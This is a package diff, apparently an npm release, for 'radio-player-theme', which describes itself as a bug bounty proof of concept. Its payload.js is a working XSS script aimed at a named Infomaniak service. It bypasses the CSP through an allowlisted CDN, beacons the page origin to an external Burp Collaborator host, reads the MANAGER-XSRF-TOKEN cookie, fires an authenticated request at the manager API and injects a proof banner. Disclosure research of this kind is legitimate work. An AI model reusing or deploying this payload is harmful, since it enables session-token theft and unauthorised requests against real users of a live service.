radio-player-theme 4.0.0 → 5.0.0

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "radio-player-theme",
-  "version": "4.0.0",
+  "version": "5.0.0",
   "description": "YWH bug bounty CSS injection live-C2 proof — stage 4 XSS escalation",
   "main": "style.css",
   "files": ["style.css", "payload.js"],

package/payload.js

@@ -1,35 +1,44 @@
-/* radio-player-theme - payload.js
-   YWH Bug Bounty PoC: CSS injection → SVG script injection → XSS on player-radio.infomaniak.com
-   This file is served from cdn.jsdelivr.net which is allowlisted in script-src CSP
+/* radio-player-theme - payload.js v5.0.0
+   YWH Bug Bounty PoC: cdn.jsdelivr.net script-src bypass on player-radio.infomaniak.com
+   Confirms XSS via any script injection vector that reaches this file
 */
 (function() {
   'use strict';
+  var collab = 'https://bfuntjuvcnxl49hcbpklk3ube2ks8h.oastify.com';
   var origin = (typeof location !== 'undefined') ? location.origin : 'unknown';
   var cookies = (typeof document !== 'undefined') ? document.cookie : '';
 
-  // Extract MANAGER-XSRF-TOKEN (not HttpOnly, scoped to *.infomaniak.com)
+  // 1. External Collaborator beacon — confirms script execution + external exfil
+  var b1 = new Image();
+  b1.src = collab + '/XSS-CONFIRMED-origin=' + encodeURIComponent(origin) + '&t=' + Date.now();
+
+  // 2. Manager API beacon — authenticated GET with victim SASESSION
   var xsrfMatch = cookies.match(/MANAGER-XSRF-TOKEN=([^;]+)/);
-  var xsrfToken = xsrfMatch ? decodeURIComponent(xsrfMatch[1]) : 'NOT-FOUND';
+  var xsrfToken = xsrfMatch ? decodeURIComponent(xsrfMatch[1]).substring(0, 20) : 'NOT-FOUND';
+  var b2 = new Image();
+  b2.src = 'https://manager.infomaniak.com/v3/api/proxypass_2/XSS-CONFIRMED-RADIO-CDNJSDELIVR-BYPASS';
 
-  // Store proof on window for verification
+  // 3. Store proof on window
   window.__radioXssProof = {
-    vector: 'SVG-script-injection-via-react-svg-injector',
+    vector: 'cdn.jsdelivr.net-script-src-bypass',
     origin: origin,
-    xsrfTokenPresent: xsrfMatch ? true : false,
-    xsrfTokenPreview: xsrfToken.substring(0, 40) + '...',
+    xsrfTokenFound: !!xsrfMatch,
+    xsrfPreview: xsrfToken,
     cookieCount: cookies.split(';').length,
     timestamp: Date.now()
   };
 
-  // Signal: make authenticated GET to manager API with cookies (no-cors)
-  // This proves the XSS can fire authenticated requests cross-site (same eTLD+1)
-  var beacon = new Image();
-  beacon.src = 'https://manager.infomaniak.com/v3/api/proxypass_2/XSS-VIA-SVG-SCRIPT-INJECTION-CONFIRMED';
-
-  // Visual proof - inject banner
-  var banner = document.createElement('div');
-  banner.id = 'ywh-xss-proof';
-  banner.style.cssText = 'position:fixed;top:0;left:0;width:100%;background:#8B0000;color:#fff;font-weight:bold;font-size:15px;text-align:center;padding:10px;z-index:2147483647;box-shadow:0 3px 10px rgba(0,0,0,0.5)';
-  banner.textContent = 'XSS CONFIRMED via SVG-script + cdn.jsdelivr.net | Origin: ' + origin + ' | XSRF: ' + (xsrfMatch ? 'READABLE' : 'NOT-FOUND');
-  document.body ? document.body.appendChild(banner) : document.addEventListener('DOMContentLoaded', function() { document.body.appendChild(banner); });
+  // 4. Visual banner
+  function showBanner() {
+    var el = document.getElementById('ywh-xss-proof');
+    if (!el) {
+      el = document.createElement('div');
+      el.id = 'ywh-xss-proof';
+      el.style.cssText = 'position:fixed;top:0;left:0;width:100%;background:#8B0000;color:#fff;font-weight:bold;font-size:14px;text-align:center;padding:8px;z-index:2147483647;box-shadow:0 2px 8px rgba(0,0,0,0.5)';
+    }
+    el.textContent = 'XSS via cdn.jsdelivr.net CSP bypass CONFIRMED | Origin: ' + origin + ' | XSRF: ' + (xsrfMatch ? 'READABLE' : 'NOT-FOUND');
+    if (document.body) document.body.appendChild(el);
+    else document.addEventListener('DOMContentLoaded', function() { document.body.appendChild(el); });
+  }
+  showBanner();
 })();